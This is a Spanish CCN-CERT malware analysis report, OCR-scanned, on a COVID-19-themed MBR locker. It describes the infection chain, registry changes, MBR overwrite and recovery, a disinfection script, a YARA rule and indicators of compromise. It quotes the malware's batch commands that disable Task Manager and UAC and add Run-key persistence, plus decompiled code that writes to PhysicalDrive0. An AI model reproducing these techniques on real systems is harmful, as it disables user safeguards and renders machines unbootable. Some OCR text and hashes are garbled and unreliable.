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expresamente cualquier tipo de garantia implicita que se pueda encontrar relacionada. En ningun caso,
el Centro Criptoldgico Nacional puede ser considerado responsable del dafo directo, indirecto, fortuito
o extraordinario derivado de la utilizacién de la informacion y software que se indican incluso cuando se
advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacion escrita del Centro Criptoldgico Nacional, bajo las
sanciones establecidas en las leyes, la reproduccién parcial o total de este documento por cualquier
medio o procedimiento, comprendidos la reprografia y el tratamiento informatico, y la distribucién de
ejemplares del mismo mediante alquiler o préstamo publicos.

Centro Criptoldgico Nacional USO OFICIAL




@l USO OFICIAL CN i cm

CCN-CERT ID-07/20 Caédigo Dainino MBR locker centro ariptolégico nadonal
INDICE
1. SOBRE CCN-CERT, CERT GUBERNAMENTAL NACIONAL.....cccctcttiimiiencrncrnnrencencnannans 4
2. RESUMEN EJECUTIVO....ccciiiiiiiiiiiriiiieiiieiineiineiresiressrsssrsssiassieesiessssasssassrasssasssanss 5
3. DETALLES GENERALES .......coiieiiiiiiiiiiiieiceeitenieiectenctastastescssssassassassssssassassanssnssnnse 5
4. PROCESO DE INFECCION........cccvuriiueiinreiinresssressseessssesssssessessssessssessssessssessssesssesssses 6
4.1 COVID-19.EXE ... oottt et e ettt e e e ettt e e e et e eeeeateeesesaaeesesnnaeesesnneaessnnns 6
4.2 CORONAVIRUS . BAT ..ottt ettt e ettt e e ettt e e e eat e e e e eat e e e sesteeeseanneeeaennneesennns 7
4.3 FONDO DE PANTALLA ..cceeeeeeie ettt ettt e ettt e e e et e e e e et e e eeataeeesananeeeesnnneeeennnn 8
L LU 351 © ] 2 SN 9
LI U 1 o B AN N R 2 Rt 10
I YU 1\ 3 Rt 10
4.7 MAINWINDOW.EXE.......uuiiieiiieeiiiiiiiie e eeeeetieie e e e e e e e e et re e e e e e e e e estan e e eeeeesessnnnnns 11
s = N B 2N = PP 13
4.9 MBR CUSTOM .ottt e e ettt e e e e e e e e et tab e e e e eeeesessstanaeseeeesesesnnnnnns 14
5. DESINFECCION ......ceeveiueeeeeeereessesssesssesssesssssssesssssssesssssssesssesssesssesssesssesssessssssasnnes 15
6. REGLAS DE DETECCION.......eeieeeeereeesreeeseeeseresessseesssessssessssesessessssessssesssessssesenses 18
6.1 REGLA YARA Lottt e et e e ettt e e e et e e e et e e e et e e e et e aaeaaanns 18
7. INDICADORES DE COMPROMISO.....cccuiiieiirenirunirniinsisiissiiesssmssrsssrassrssssasssosssons 19
8. DISINFEC.BAT ....ciciiiiiititiieiteetenretentesttnstonsassessssssassassasssassassassassssssassassssssassnns 21

Centro Criptoldgico Nacional USO OFICIAL




@l USO OFICIAL CN i cm

CCN-CERT ID-07/20 Caédigo Dainino MBR locker centro ariptolégico nadonal

1. SOBRE CCN-CERT, CERT GUBERNAMENTAL NACIONAL

El CCN-CERT es la Capacidad de Respuesta a incidentes de Seguridad de la
Informacién del Centro Criptoldgico Nacional, CCN, adscrito al Centro Nacional de
Inteligencia, CNI. Este servicio se cred en el afio 2006 como CERT Gubernamental
Nacional espaiiol y sus funciones quedan recogidas en la Ley 11/2002 reguladora del
CNI, el RD 421/2004 de regulacion del CCN y en el RD 3/2010, de 8 de enero, regulador
del Esquema Nacional de Seguridad (ENS), modificado por el RD 951/2015 de 23 de
octubre.

Su misién, por tanto, es contribuir a la mejora de la ciberseguridad espafiola,
siendo el centro de alerta y respuesta nacional que coopere y ayude a responder de
forma rapida y eficiente a los ciberataques y a afrontar de forma activa las
ciberamenazas, incluyendo la coordinaciéon a nivel publico estatal de las distintas
Capacidades de Respuesta a Incidentes o Centros de Operaciones de Ciberseguridad
existentes.

Todo ello, con el fin Ultimo de conseguir un ciberespacio mas seguro y confiable,
preservando la informacidn clasificada (tal y como recoge el art. 4. F de la Ley 11/2002)
y la informacion sensible, defendiendo el Patrimonio Tecnolégico espafiol, formando al
personal experto, aplicando politicas y procedimientos de seguridad y empleando y
desarrollando las tecnologias mas adecuadas a este fin.

De acuerdo a esta normativa y la Ley 40/2015 de Régimen Juridico del Sector
Publico es competencia del CCN-CERT la gestién de ciberincidentes que afecten a
cualquier organismo o empresa publica. En el caso de operadores criticos del sector
publico la gestion de ciberincidentes se realizara por el CCN-CERT en coordinacién con
el CNPIC.
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2. RESUMEN EJECUTIVO

El presente documento recoge el anadlisis de la muestra de cdédigo daiiino
correspondiente a una variante de ransomware que infecta el Master Boot Record
(MBR).

El objetivo del binario es sobrescribir el MBR del equipo por uno propio que
introduce el codigo dafino. Generalmente el cédigo daiino destinado a infectar el
MBR persigue inutilizar el equipo o pedir un rescate a cambio de una clave de
descifrado para proceder con el inicio del sistema. Sin embargo, el arranque de un
equipo infectado por el binario analizado puede ser recuperado como se indicara en
posteriores secciones de este informe.

Si bien hoy en dia no es comun el malware destinado a infectar el MBR, la
campafia causada en junio de 2017 por la variante de Petya perseguia este mismo fin,
muestra que aun se trata de una amenaza a tener en cuenta.

Aprovechando la crisis de la pandemia causada por el Corona virus (COVID-19),
los desarrolladores/as de malware han encontrado una fuente de inspiracién en la que
basar sus proyectos, bien sea para la creacion de MBR lockers o ransomware, o bien
para exprimir la tematica en campafias de SPAM vy diversos fraudes con los que atraer
la curiosidad de los usuarios.

En los siguientes puntos del documento se entra en detalles técnicos sobre cada
uno de los binarios que forman parte del proceso de infeccidn, se detalla el proceso a
seguir para desinfectar un equipo y se proporciona una regla Yara e indicadores de
compromiso con los que identificar la amenaza.

3. DETALLES GENERALES

El binario objeto de andlisis, ejecutable para sistemas Windows de 32-bits, se
identifica con la firma SHA256 que se muestra a continuacién.

Fichero SHA256

COVID-19.exe dfbcce38214fdde0b8c80771cfdec499fc086735c8e7e25293e7292fc7993b4c

Buscando referencias al hash del mismo, se puede encontrar que la primera
fecha de la que se tiene constancia es el 22 de marzo de 2020.

Desarrollado en PureBasic y sin un packer que oculte su contenido a soluciones
de seguridad, la finalidad del ejecutable inicial es actuar como componente dropper
para el resto de binarios que incluye como recursos.
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4. PROCESO DE INFECCION

Debido a la cantidad de binarios que se emplean en el proceso de infeccidn, el
orden en el que se estructura este apartado del informe viene determinado por el
orden de ejecucién de cada uno de ellos.

4.1 COVID-19.EXE

El binario inicial actia como componente dropper para cada uno de los binarios
que forma parte del proceso de infeccidn y se encarga de la primera ejecucién de los
mismos. Los indicados binarios adicionales se encuentran localizados en los recursos,
tal como muestra la siguiente imagen.

[ Resource Hacker - COVID-19.exe | 5™
File Edit View Action Help RCData:B: 0
— T ) 1% Dialog b @ @J
DB Me 02 0 M
b ) Icon 1 |@echo off -
R 2 |title coronavirus Installer
3 | color Oc
4 | md %homedrive%\COVID-19
5 | move Update.vbs Sshomedrives\COVID-19
6 | move wallpaper.jpg Y%homedrive®\COVID-19
7 | move cursor.cur %shomedrive\COVID-19
i 0:0 8 |move end.exe %homedrive%:\COVID-19
[ Icon Group 9 |move mainWindow.exe %homedrive%\COVID-19
I~ Version Info 10 |move run.exe %homedrive%\COVID-19
1> ) Manifest 11 |ds

12 |attrib +H %homedrive%\COVID-19
13 |reg.exe ADD HKCU\Software\Microsofthwindows\Currentversion\Policies
) 14 |[\System /v disabletaskmagr /t REG_DWORD /d 1 /f
| 15 |reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies
- 16 |\System /v EnableLUA /t REG_DWORD /d 0 /f

COVID-19.exe 17 |reg.exe ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies
18 |[\System /v wallpaper /t REG_SZ /d %homedrive%\COVID-19\wallpaper.jpg /f ~
1664 1:1 ANSI i

Figura 1. Recursos del binario inicial

En la siguiente tabla se describe el contenido de cada recurso identificado por las
iniciales que se observan en la figura 1.

Identificador Descripcion

B Contenido del fichero batch a ejecutar por el binario inicial

F Ficheros adicionales para el desarrollo del proceso de infeccion

Nombre y tamaiio de los ficheros incluidos en el recurso F (valores necesarios para su
extraccion)

N Nombre del fichero batch incluido en el recurso B

Del recurso F, se extraen los ficheros indicados por el recurso |, listados en la

siguiente tabla.

Nombre del fichero

cursor.cur
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Nombre del fichero
run.exe
Update.vbs

wallpaper.jpg

end.exe

mainWindow.exe

Los ficheros de la tabla anterior se escriben en disco en el mismo directorio en
que se haya ejecutado el binario inicial. Una vez extraidos, el ultimo paso del
componente dropper es ejecutar desde el directorio %temp% el fichero batch
coronavirus.bat, cuyo comportamiento se detalla en el siguiente apartado.

El componente dropper requiere de privilegios de administrador para su
ejecucidon y no vuelve a formar parte del proceso de infeccion tras lanzar el fichero
batch coronavirus.bat.

4.2 CORONAVIRUS.BAT

Ejecutado desde el directorio %temp% por el binario inicial, este fichero batch se
encarga de crear el directorio de instalacidon, modificar una serie de valores en el
registro del equipo y asegurar la persistencia de los binarios extraidos en el paso
anterior.

wallpaper.j omedrive¥\COVID-
cursor %\ COVID-

Ftware\Microsoft\Wind ion\Polici em /v disabletaskmgr /t REG_DWORD /d 1 /f
FTWARE\Microsoft\Wind 014 em /v EnableLUA /t REG_DWORD /d @ /f
q Ftware\Microsoft\Wind . ol em /v wallpaper 57 /d %homedrive%\COVID-15\wallpaper._jpg /f
xe ADD HKCU\SOFTWARE\Microsoft\Wind r 013 ctiveDesktop /v NoChangingWallPaper /t REG DWORD /d 1 /f

c Jpdates /t REG homedrive®\COVID-19\Update.vbs /f
Ftware\Microsoft\Wind r .exe [/t REG_ iedr: COVID-19\run.exe /f
Ftware\Microsoft\Windi srrentVersion\Run /v GoodbyePC! /t REG_SZ /d Z%homedriv N\end.exe /f

coronavirus sucessfully installed!
Your computer will restart in 5 seconds to finish the installation :)
-r -t

Figura 2. Fichero batch ejecutado por el binario inicial

El directorio de instalacién se establece en la carpeta COVID-19 en la raiz del
disco. Los ficheros que se habian extraido en el paso anterior en la misma localizacién
en que se ejecutaba el binario inicial, en este paso se mueven al directorio de
instalacidn y se otorgan los atributos necesarios a la carpeta para ocultarla al usuario.

md %homedrive%\COVID-19

move Update.vbs %homedrive%\COVID-19
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move wallpaper.jpg %homedrive%\COVID-19
move cursor.cur %homedrive%\COVID-19

move end.exe %homedrive%\COVID-19

move mainWindow.exe %homedrive%\COVID-19
move run.exe %homedrive%\COVID-19

cls

attrib +H %homedrive%\COVID-19

Con el fin de denegar a los usuarios la posibilidad de abrir el administrador de
tareas y para evitar que se notifigue cuando un programa va a realizar cambios en el
equipo, se anaden los valores listados a continuacién a las claves de registro que
controlan mencionadas tareas.

reg.exe ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v disabletaskmgr /t
REG_DWORD /d 1 /f

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t
REG_DWORD /d 0 /f

Después de cambiar el fondo de pantalla, intentar cambiar el cursor y asegurar la
persistencia de tres binarios, el fichero batch reinicia el equipo, provocando de tal
manera que los binarios apuntados por la clave de registro CurrentVersion\Run se
ejecuten al iniciar el sistema.

echo coronavirus sucessfully installed!

echo Your computer will restart in 5 seconds to finish the installation :)
shutdown -r -t 5

pause >nul

exit

Tras concluir su ejecucion, el fichero batch coronavirus.bat no vuelve a formar
parte del proceso de infeccién.

4.3 FONDO DE PANTALLA

Uno de los ficheros que contiene el binario inicial entre sus recursos es la imagen
JPG de tamafio 320x200 que se establece como fondo de pantalla.
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Figura 3. Fondo de pantalla establecido por el cédigo danino

Ademas de establecer el nuevo fondo, desde el fichero coronavirus.bat se afade
el valor necesario a la clave de registro ActiveDesktop para que el fondo de pantalla no
pueda ser cambiado.

reg.exe ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v wallpaper /t
REG_SZ /d %homedrive%\COVID-19\wallpaper.jpg /f

reg.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v
NoChangingWallPaper /t REG_DWORD /d 1 /f

4.4 CURSOR

La modificacién del cursor no puede realizarse debido a un fallo en el fichero
coronavirus.bat.

reg.exe ADD HKCU\Control Panel\Cursors /v Arrow /t REG_SZ /d %homedrive%\COVID-19\cursor.cur /f

reg.exe ADD HKCU\Control Panel\Cursors /v AppStarting /t REG_SZ /d %homedrive%\COVID-
19\cursor.cur /f

reg.exe ADD HKCU\Control Panel\Cursors /v Hand /t REG_SZ /d %homedrive%\COVID-19\cursor.cur /f

Para que el cambio pueda ser efectivo, la clave de registro HKCU\Control
Panel\Cursors deberia incluirse en el fichero batch entre comillas ("HKCU\Control
Panel\Cursors"). De haber sido asi, el cursor se mostraria como en la imagen a
continuacion.
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&’ Editor del Registro =5 EoR (==
Archive Edicion Ver Favoritos Ayuda
4 1-;—‘ Equipe * || Nombre Tipo Datos gt
-+ ) HKEY_CLASSES_ROOT ) L (Drarlatapminada) BEG C7 Lara da Ui
4. HKE:‘CSRRENT‘USER Bl| iE5 Appstarting REG_SZ CACOVID-19\cursor.cur
bl AppRvents REG_SZ CACOVID-1%cursor.cur
- 1. Console
REG_S7 CACOVID-19cursor.cur
. Control Panel
o Accessibility ab|Help REG_EXPAND_SZ FeSystemRoot%\cursors\aero_helpsel.cur
S Appearance ab| Mo REG_EXPAND_SZ FSystemRoote\cursors\aero_unavail.cur
-
.|| Colors ab| NWPen REG_EXPAND_SZ SeSystemRoot¥\cursors\aero_pen.cur
: - 1. Cursors Ig[i'r] Scheme Source  REG_DWORD 000000002 (2)
1 : o | v 3}_’] SizeAll REG_EXPAMND_SZ FSystemRoot%\cursors\aero_move.cur 1B
Equipo\HKEY_CURRENT_USER\Control PanelCursors

Figura 4. Cursor establecido por el cédigo daiiino

4.5 UPDATE.VBS

El primero de los ficheros para los que se garantiza la persistencia se
corresponde con un Visual Basic Script.

reg.exe ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v CheckForUpdates /t REG_SZ
/d %homedrive%\COVID-19\Update.vbs /f

Después del reinicio causado por coronavirus.bat, Update.vbs es ejecutado por
el sistema sin otro fin que mostrar el falso mensaje de error que se muestra en la
siguiente imagen.

COVID-19

@
\.,\_\_'_,/

[l

The update server could not be resolved. Check your Internet settings
or contact your system administrator,

Aceptar

Figura 5. Falso mensaje de error mostrado por el fichero Update.vbs

El cédigo completo del VBS se lista a continuacion.

wscript.sleep 120000

x=msgbox ("The update server could not be resolved. Check your Internet settings or contact your
system administrator.",16,"COVID-19")

4.6 RUN.EXE

El segundo de los ficheros para los que se garantiza la persistencia se
corresponde con un ejecutable empaquetado por el packer open source UPX.

reg.exe ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.exe /t REG_SZ /d
%homedrive%\COVID-19\run.exe /f
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Una vez desempaquetado para su analisis, se obtiene un binario también
desarrollado en PureBasic, muy similar al ejecutable inicial. El objetivo del binario
run.exe es extraer de sus recursos un nuevo fichero batch, run.bat, para ejecutarlo
desde el directorio %temp%.

off
.exe ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v disabletaskmgr /t REG_DWORD /d It
.exe ADD HKLM\SOFTWARE\Microsoft\Windoi r rsi /£
.exe ADD HKCU\Software\Microsoft\Windol r rsi A em /v wallpaper /t REG S7 /d %homedrive%\COVID-19\wallpaper.jpg /f
.exe ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersi i veDesktop /v NoChangingWallPaper /t REG_DWORD /d it
.exe ADD HKCUY 2, rs /v Arrow /t REG_SZ /d %homedri OVID-19\cursor.cur /f
.exe ADD HKCU\ 2 rs /v AppStarting /t REG_SZ /d e¥\COVID- 19\ cursor.cur /f

.exe ADD HKCU\ 2 /v Hand /t REG %I r -19\cursor
.exe ADD HKLM\Sof g i W r 'd 4 ive#\COVID-19\Update.vbs /f
.exe ADD HKLM\Sof 5 Wi o ion\Run /v .exe /t REG_SZ OVID-19\run.exe /f
.exe ADD HK| 3 sion\Run /v GoodbyePC! /t REG_SZ ID-19\end.exe /f
I
%homedrive¥\COVID-19\mainWindow.exe
run

Figura 6. Fichero run.bat ejecutado por run.exe

El contenido del fichero batch run.bat replica cédigo del fichero coronavirus.bat
y sera ejecutado cada vez que se inicie el sistema. El Unico contenido afiadido, un bucle
infinito, se observa al final del fichero.

:run
%homedrive%\COVID-19\mainWindow.exe
goto run

exit

El bucle infinito tiene como Unico objetivo ejecutar el binario mainWindow.exe.

4.7 MAINWINDOW.EXE

Desarrollado en Visual Basic, el ejecutable mainWindow.exe tiene como Unica
finalidad mostrar al usuario una imagen bajo el titulo "coronavirus has infected your
PC".
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)

]

coronavirus has infected your PC!

Help

"oS\\' Hello! If you see this message is because your computer has infected by

QW coronavirus! Please don't wast your time, Task Manager are disabled
and you can't terminate this process! If you close this window, it will
appear again! so, one more time, DON'T WAST YOUR TIME!

Figura 7. Imagen y mensaje mostrados por el ejecutable mainWindow.exe

De los dos botones que se muestran, solo el de ayuda ("Help") se puede pulsar,
mostrando el mensaje adicional que se observa en la figura 7. El botén "Remove virus"
no se encuentra habilitado y aunque lo estuviera, no tiene ninguna accién asociada.

. VB Decompiler v101 = R[5
File Tools Plugins Help
FileMame: \Desktop\mainWindow.exe E]
Objects Tree: Native Code Parse stack parameters Procedure analyzer and optimizer
A% Project Form |
: ‘@ Forms & Begin CommandButton Command? -
H B3 Forml |Caption = "Remove vir'.:ls"l
& Code Left = 9360
4.E] Forml Tap = 7560
‘. f Commandl_Click_422030 Width = 2175
Height = 1335
| Enabled = 0  'False| i
TabIndex = 1
~ End
=) Begin CommandButton Commandl =
Caption = "Help"
Left = 0

Top = 7560

Width = 1935

Height = 1335

TabIndex = 0
~ End -
4 L *

Decompiled OK

Figura 8. Codigo descompilado del ejecutable mainWindow.exe

En el mensaje de ayuda sugiere que no se pierda el tiempo tratando de cerrar la
ventana, pues el bucle infinito del fichero run.bat volverd a lanzar el ejecutable.
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Ademas, se menciona la inhabilitacion del administrador de tareas, como se indicaba
en el apartado en que se detalla el fichero coronavirus.bat.

4.8 END.EXE

El tercer y ultimo de los ficheros para los que se garantiza la persistencia se
corresponde con un ejecutable desarrollado en Delphi.

reg.exe ADD HKLM\software\Microsoft\Windows\CurrentVersion\Run /v GoodbyePC! /t REG_SZ /d
%homedrive%\COVID-19\end.exe /f

Es ejecutado por el sistema tras el reinicio causado por el fichero batch
coronavirus.bat y su objetivo es sobrescribir el Master Boot Record (MBR) por uno
propio, que se encuentra embebido en el propio ejecutable, modificando de esta
manera el siguiente arranque del sistema operativo.

w3 = CreateFileA(™\V\\\.\\PhysicalDrived", e@x10660060u, 3u, @, 3u, 8, 8);
ReadFile(v3, &mbr_back up, @x288u, &nNumberOfBytesTollrite, 8);
SetFilePointer(v3, 512, @, @);

WriteFile @(v3, &mbr_back_up, nNumberOfBytesTolrite, &NumberOfBytesWritten, 8);

vd = CreateFlled APhysicalDrived”, exleegpgpbu, 3u, @, 3u, @, @
WriteFile @(v4, &new_mbr_buffer, 8x288u, ANumberOfBytesWritten, @);
CloseHandle(vd);

v = CreateFileA( "W\ WA\WPhysicalDriveg”, @xloeoesasu, 3u, 8, Ju, @, 8);
gmemcpy (&mbr locker note, created by angel, @xC@8u);

setFilePointer(vs, 1824, 8, 8);

WriteFile 8(vS, &mbr_locker_note, 8xC®8u, &NumberOfByteslritten, 8);
CloseHandle{v5);

Figura 9. Sobreescritura del MBR original por un MBR propio

Antes de sobrescribir el primer sector de 512 bytes con el MBR propio (marcado
en negro), el MBR original se copia en el segundo sector, garantizando asi una copia de
seguridad (marcado en rojo). Finalmente, marcado en azul, en el tercer sector se
escribe el mensaje que se mostrara por el nuevo MBR en el siguiente inicio del
sistema.

Created By Angel Castillo. Your Computer Has Been Trashed.

Discord: Hindows UVista#3294

Figura 10. Mensaje mostrado por el nuevo MBR en el siguiente inicio del sistema

Como medida de seguridad para evitar reinfecciones, antes de la sobreescritura
se comprueba que el primer sector de 512 bytes, que se utiliza para el back-up, sea
diferente del MBR propio con el que se va a sobrescribir. Si ambos buffers fueran
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iguales seria indicativo de que el MBR ya ha sido sobrescrito y que run.exe no estd
siendo ejecutado por primera vez.

lea ecx, [ebptvar 18]

mov eax, offset mbr_back_up
mov edwx, 1FFh

call hex_encoding

maw eax, [ebptvar 18]

push eax

lea ecx, [ebptvar_1C]

mov eax, offset new_mbr_buffer
mov edx, 1FFh

call hex_encoding

mov edx, [ebp+var_1C]

pop eax

call str_cmp

jz exit

l l
|
Figura 11. Comprobacion sobre el back-up del MBR para evitar reinfecciones

4.9 MBR CUSTOM

El nuevo MBR extraido del binario end.exe es inspeccionado en mayor detalle en
este apartado. El cddigo presente en el punto de entrada se muestra en la imagen a
continuacion.

seglBQ:eeeed start proc far

seghba : BBoa jmp short new mbr start

e L L L e T R e i
seghad: 8882 aWobbychip db "WobbyChip'

SEgRBBIBBEE ; - T T
segBes: Bees

segBBf:B8BEE new_mbr_start: ; CODE XREF: starttj

segBBo: BREE cld

segles: eeac xor ax, ax

SEgReE: BBaE mow 55, ax

segBBd:eale mov sp, 7CE@8h

segBBa: BRl3 mov ax, B388sh

Seghed: eale mow BS, ax

segBBd:8a18 assume es:nothing

segBBR:eals mov ds, ax

seghBn: Ba1A assume ds:nothing

Segiel: alA

segBBB:BB1A read sectors: ; CODE XREF: start+2Alj

segBen: BalA mov ax, 286h

segiel: eall mawv o, 1

seghba:ae2a mov dh, @

seghBn:ea22 mov bx, @

Segiel: ae2s int 13h ; DISK - READ SECTORS INTO MEMORY

Figura 12. Punto de entrada del nuevo MBR

La etiqueta que se remarca, puede ser indicio de la herramienta que se ha usado
para generar el MBR. Sin embargo, la seccidén de cddigo de interés del desensamblado
del MBR, se encuentra después de las instrucciones destinadas a imprimir el mensaje
que se almacend en el tercer sector, para mostrar la pantalla que se indica en la figura
10.
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seghen:aa7s xor ah, ah 3 AH = @x@@ - GET KEYSTROKE

segaea:eayy int 16h ; KEYBOARD - READ CHAR FROM BUFFER, WAIT IF EMPTY
seghea:ea77 ; Return: AH = scan code, AL = character

segBpa: 7o | cmp ah, 1 ; Escape key scan code = 81|

seghen:ea7c jnz short print _message and walt fTor_input

Segene: Bave mov ah, 2

seghoa:ease int 16h 3 KEYBOARD - GET SHIFT STATUS

segfbe:0ase ; AL = shift status bits

seghen:ees2 and al, @Fh ; Check only "key pressed” bitfields

segBoe: 8084 | cmp al, @ch ; BxC = b 118"

seghen:eess jnz short print_message_and_walt_tor_input

seglen:eess mov ax, 7Ce8h

segBen: eess mov 5, ax

Figura 13. Comprobacion de la combinacion de teclas pulsadas

Después de imprimir el mensaje, el cédigo del MBR espera un input por parte del
usuario. La combinacidon de teclas presionadas se comprueba en las instrucciones
marcadas en rojo del desensamblado, pasando satisfactoriamente la comprobacién si
la combinacién de teclas pulsadas coincide con CTRL + ALT + ESC.

En caso de introducir la combinacién correcta, el back-up del MBR se devuelve a
su posicion original y el arranque del sistema operativo se desarrolla con normalidad.

5. DESINFECCION

Para proceder con la desinfeccién, se propone un fichero batch, disinfec.bat,
cuyo contenido se desglosa en este apartado. Reuniendo las lineas de cddigo en un
script con extension .bat y ejecutdndolo con permisos de administrador, se garantiza la
desinfeccidn a falta de un paso que se detallara al final de la seccidn. El efecto de cada
linea de cédigo se detalla a continuacién.

e Permite a los usuarios recuperar el administrador de tareas.

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v disabletaskmgr /t
REG_DWORD /d 0 /f

e Permite a los usuarios recuperar las notificaciones cuando un programa haga
cambios en el equipo.

REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t
REG_DWORD /d 1 /f

e Elimina la clave de registro apuntando al fondo de pantalla establecido por el
malware.

| REG DELETE HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v wallpaper /f |

e Permite recuperar las opciones para el cambio de fondo de pantalla.

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v
NoChangingWallPaper /t REG_DWORD /d 0 /f

e En el caso de que el cursor fuera modificado, permite recuperar el cursor por
defecto.

REM REG ADD "HKCU\Control Panel\Cursors" /v Arrow /t REG_SZ /d
%SystemRoot%\cursors\aero_arrow.cur /f
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REM REG ADD "HKCU\Control Panel\Cursors" /v AppStarting /t REG_SZ /d
%SystemRoot%\cursors\aero_working.ani /f

REM REG ADD "HKCU\Control Panel\Cursors" /v Hand /t REG_SZ /d
%SystemRoot%\cursors\aero_link.cur /f

e Elimina las entradas asegurando la persistencia en sistemas de 32-bits.

REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v CheckForUpdates /f
REG DELETE HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v explorer.exe /f

REG DELETE HKLM\software\Microsoft\Windows\CurrentVersion\Run /v GoodbyePC! /f

e Elimina las entradas asegurando la persistencia en sistemas de 64-bits.

REG DELETE HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v
CheckForUpdates /f

REG DELETE HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v explorer.exe
/f

REG DELETE HKLM\software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /v GoodbyePC!
/f

e Termina el proceso run.exe y los que penden de él.

TASKKILL /f /im run.exe /t |

e Elimina el directorio de instalacién y su contenido.

RMDIR /S /Q %homedrive%\COVID-19 |

Después de aplicar todos los cambios sugeridos no quedaran en disco trazas del
codigo daiino, sin embargo, si el sistema se ha reiniciado al menos una sola vez, el
binario end.exe se habrd ejecutado y habrd sustituido el MBR del equipo. Para
recuperar el MBR original se pueden seguir dos procedimientos.

Para el primero de ellos, se propone al reinicio del equipo y cuando se presente
la nota de arranque customizada por el cédigo dafiino, presionar unos segundos la
combinacion de teclas CTRL + ALT + ESC devolvera el sector de arranque a su estado
original.

El segundo de los métodos que se propone es usar alguna herramienta, como
por ejemplo HDHacker, para sustituir de forma manual el MBR.

En primer lugar, se comprobara que el MBR haya sido sustituido. Para ello se
leerd el primer sector del MBR configurando HDHacker de acuerdo a la siguiente
imagen.
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Figura 14. Comprobacion del primer sector del MBR

Si se observa la etiqueta WobbyChip, el MBR ha sido sustituido y serd necesario
devolverlo a su estado original. Para recuperar el MBR original, en el apartado "Select
sector" se especificara el sector numero 2 en lugar de la opcion "First Sector (MBR)".
Después de leer el sector 2 del disco (presionando "Read sector from Disk"), el MRB
original se mostrara en el visor. De nuevo en "Select sector" se seleccionard "First
Sector (MBR)" para sobrescribir el MBR establecido por el cddigo daiiino con el back-
up del sector nimero 2 con la opcién "Write sector on Disk", recuperando el arranque
del sistema operativo.
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6. REGLAS DE DETECCION

6.1 REGLA YARA

rule covid_19_mbr_locker
{
meta:

date = "2020-04-02"

strings:
Scoronavirus = "coronavirus.bat" ascii
Stitle = "title coronavirus Installer" ascii
Scursor = "cursor.cur" ascii
Srun = "run.exe" ascii
SUpdate = "Update.vbs" ascii
Swallpaper = "wallpaper.jpg" ascii
Send = "end.exe" ascii

SmainWindow = "mainWindow.exe" ascii

condition: uint16(0) == 0x5A4D and (all of them)
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7. INDICADORES DE COMPROMISO

COVID-19.exe dfbcce38214fdde0b8c80771cfdec499fc086735c8e7e25293e7292fc7993b4c
coronavirus.bat 4fd9b85eec0b49548c462ach9ec831a0728c0ef9e3de70e772755834e38aa3b3
end.exe c3f11936fe43d62982160a876cc000f906ch34bb589f4e76e54d0a5589b2fdb9
mainWindow.exe b780e24e14885c6ab836aae84747aa0d975017f5fc5b7f031d51c7469793eabe
run.exe c46c3d2bealed2b628d6988063d247918f3f8b69b5a1c376028a2a0cadd53986
Update.vbs a21a8d79508173cf16353e31a236d4a211bdcedef53791acce3cfbab00b51aaec
run.bat df1f9777febbede9871e331c76286bab82da361b59e44d07c6d977319522bagl

Directorio de instalacion

%homedrive%\COVID-19

%homedrive%\COVID-19\Update.vbs

%homedrive%\COVID-19\wallpaper.jpg

%homedrive%\COVID-19\cursor.cur

%homedrive%\COVID-19\end.exe

%homedrive%\COVID-19\mainWindow.exe

%homedrive%\COVID-19\run.exe

Clave de registro ‘ Valor de la clave

HKCU\Software\Microsoft\Windows\CurrentVersion\P

0, f 0, _ .
olicies\System\wallpaper %homedrive%\COVID-19\wallpaper.jpg

HKLM\Software\Microsoft\Windows\CurrentVersion\

[) HYPY) _
Runm\CheckForUpdates %homedrive%\COVID-19\Update.vbs

HKLM\Software\Microsoft\Windows\CurrentVersion\

%homedrive%\COVID-19\run.exe
Run\explorer.exe

HKLM\software\Microsoft\Windows\CurrentVersion\ o L
Rum\GoodbyePC! %homedrive%\COVID-19\end.exe

HKLM\Software\Wow6432Node\Microsoft\Windows\

[ ivao, .
CurrentVersion\Run\CheckForUpdates ATIER YA YL o il
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Clave de registro Valor de la clave

HKLM\Software\Wow6432Node\Microsoft\Windows\
CurrentVersion\Run\explorer.exe

%homedrive%\COVID-19\run.exe

HKLM\software\Wow6432Node\Microsoft\Windows\

CurrentVersion\Run\GoodbyePC! PinemE TR O el zis
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8. DISINFEC.BAT

@echo off

REM Allow users to run Task Manager

REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v disabletaskmgr /t
REG_DWORD /d 0 /f

REM Allow notitifications when programs try to make changes to the computer

REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t
REG_DWORD /d 1 /f

REM Deletes the reg key pointing to the wallpaper set by the malware

reg.exe DELETE HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v wallpaper /f

REM Enables options on the Background tab

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v
NoChangingWallPaper /t REG_DWORD /d 0 /f

REM Just in case the cursor was modified even with the missing quotes

REM REG ADD "HKCU\Control Panel\Cursors" A Arrow /t REG_SZ /d
%SystemRoot%\cursors\aero_arrow.cur /f

